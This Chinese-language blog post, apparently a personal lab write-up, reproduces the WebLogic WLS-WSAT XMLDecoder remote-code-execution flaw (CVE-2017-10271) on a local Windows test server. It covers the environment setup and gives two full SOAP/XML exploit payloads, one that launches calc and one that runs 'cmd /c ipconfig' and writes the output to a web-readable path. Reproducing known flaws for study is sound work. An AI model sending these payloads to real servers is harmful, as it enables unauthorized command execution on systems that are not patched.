今天偶然看到WebLogic WLS组件存在漏洞,本地搭建环境测试一下,复现报告只保证本人可以看懂
分隔符———————————————————————————————
1、环境的准备
-
漏洞的编号
-
CVE-2017-10271
-
漏洞存在的版本
-
10.3.6.0.0
-
12.1.3.0.0
-
12.2.1.1.0
-
12.2.1.2.0
本地复现版本为:10.3.6.0.0
提供下载地址:
抓包工具:burpsuite
2、漏洞复现环境搭建
靶机:Windows Server 2008 R2 x64
攻击机:物理机
3.1 环境的配置
3.1.1 安装JDK:
![](https://img.haomeiwen.com/i9272355/d06dd7aadf40f7e7.png)
3.1.2 安装WebLogic:
不勾选 “我希望通过My Oracle Support接收安全更新"
![](https://img.haomeiwen.com/i9272355/72d785bf106ac991.png)
设置管理员用户名和口令(weblogic\weblogic888)
![](https://img.haomeiwen.com/i9272355/142c1c72faa47fb8.png)
选择生产模式
![](https://img.haomeiwen.com/i9272355/c47201ae5fd16778.png)
若安装选择的默认路径与默认域名,在如下路径中运行
C:\Oracle\Middleware\user_projects\domains\base_domain\WebLogic.cmd
![](https://img.haomeiwen.com/i9272355/a1b8d076210d4601.png)
此时访问:http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
出现下面这个页面。,说明已经安装成功
![](https://img.haomeiwen.com/i9272355/0d0338246f288b54.png)
3、漏洞利用poc
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>calc</string>
</void>
<void index="1">
<string></string>
</void>
<void index="2">
<string> </string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
4、漏洞利用过程
使用攻击机访问靶机的WLS组件,并用burp把包拦截下来:
使用post方法发送上述POC,并添加Content-Type:text/xml,把Cache-Control修改为no-cache
![](https://img.haomeiwen.com/i9272355/fdd02130c9e94f98.png)
返回的状态码为500:
![](https://img.haomeiwen.com/i9272355/de7ceabf01eab76e.png)
返回去计算器已经弹出来了
![](https://img.haomeiwen.com/i9272355/3c72e62f119d00ae.png)
接下来说一下命令回显的一个小方法。但是有前提的。前提是足够写入权限。
可以通过执行命令的方式进行一个回显。如Windows下的命令:ipconfig >> c:\1.txt 就可以将ipconfig的结果存放到了c:\1.txt下。我们也可以如此。接下来修改下POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="5">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>ipconfig</string>
</void>
<void index="3">
<string>>></string>
</void>
<void index="4">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
注意:在<array class="java.lang.String" length="5">这里的长度需要对照着下边所传的参数填写。array内的void有多少个那么长度就为多少。还有void内的index是从0开始填写。输出的路径为上面所填写即直接输出到了weblogic对应目录下了。以上组成的命令就是为:cmd /c ipconfig >> C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat,可以测试一下:
![](https://img.haomeiwen.com/i9272355/22c5f5679f9bb904.png)
网友评论